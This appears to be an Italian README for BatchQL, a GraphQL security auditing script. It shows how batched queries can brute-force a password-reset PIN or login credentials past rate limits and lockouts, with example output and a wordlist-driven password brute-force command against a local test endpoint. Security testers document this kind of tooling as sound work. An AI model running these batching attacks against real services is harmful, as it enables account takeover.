
Script di auditing di sicurezza per GraphQL con focus sull'esecuzione di query e mutazioni GraphQL in batch.
BatchQL è uno script di auditing di sicurezza per GraphQL con un focus sull'esecuzione di query e mutazioni GraphQL in batch. Questo script non è complesso e accogliamo con favore i miglioramenti.
Quando abbiamo esplorato lo spazio dei problemi degli attacchi di batching GraphQL, abbiamo scoperto che esistevano alcuni post sui blog su internet, ma nessuno strumento per eseguire attacchi di batching GraphQL.
Gli attacchi di batching GraphQL possono essere piuttosto gravi a seconda delle funzionalità implementate. Ad esempio, immagina una funzionalità di reimpostazione della password che prevede un PIN a 4 cifre inviato alla tua email. Con questo strumento, potresti tentare tutti i 10.000 tentativi di PIN in una singola query GraphQL. Questo potrebbe bypassare eventuali limitazioni di velocità o blocchi dell'account, a seconda dei dettagli implementativi del flusso di reimpostazione della password.
Questo strumento è in grado di rilevare quanto segue:
Attualmente, questo strumento supporta solo l'invio di query basate su liste JSON per attacchi di batching. Supporta scenari in cui le variabili sono incorporate nella query o fornite nell'input JSON.
❯ python batch.py -e http://re.local:5000/graphiql -p localhost:8080
Schema suggestions enabled. Use Clairvoyance to recover schema: https://github.com/nikitastupin/clairvoyance
CSRF GET based successful. Please confirm that this is a valid issue.
CSRF POST based successful. Please confirm that this is a valid issue.
Query name based batching: GraphQL batching is possible... preflight request was successful.
Query JSON list based batching: GraphQL batching is possible... preflight request was successful.
Most provide query, wordlist, and size to perform batching attack.
acc-login.txt:mutation emailLoginRemembered($loginInput: InputRememberedEmailLogin!) {
emailLoginRemembered(loginInput: $loginInput) {
authToken {
accessToken
__typename
}
userSessionResponse {
userToken
userIdentity {
userId
identityType
verified
onboardingStatus
registrationReferralCode
userReferralInfo {
referralCode {
code
valid
__typename
}
__typename
}
__typename
}
__typename
}
__typename
}
}
❯ python batch.py --query acc-login.txt --wordlist passwords.txt -v '{"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}' --size 100 -e http://re.local:5000/graphiql -p localhost:8080
Il comando sopra esegue le seguenti operazioni:
--query acc-login.txt.--wordlist passwords.txt-v {"loginInput":{"email":"[email protected]","password":"#VARIABLE#","rememberMe":false}}--size 100-e http://re.local:5000/graphiql-p localhost:8080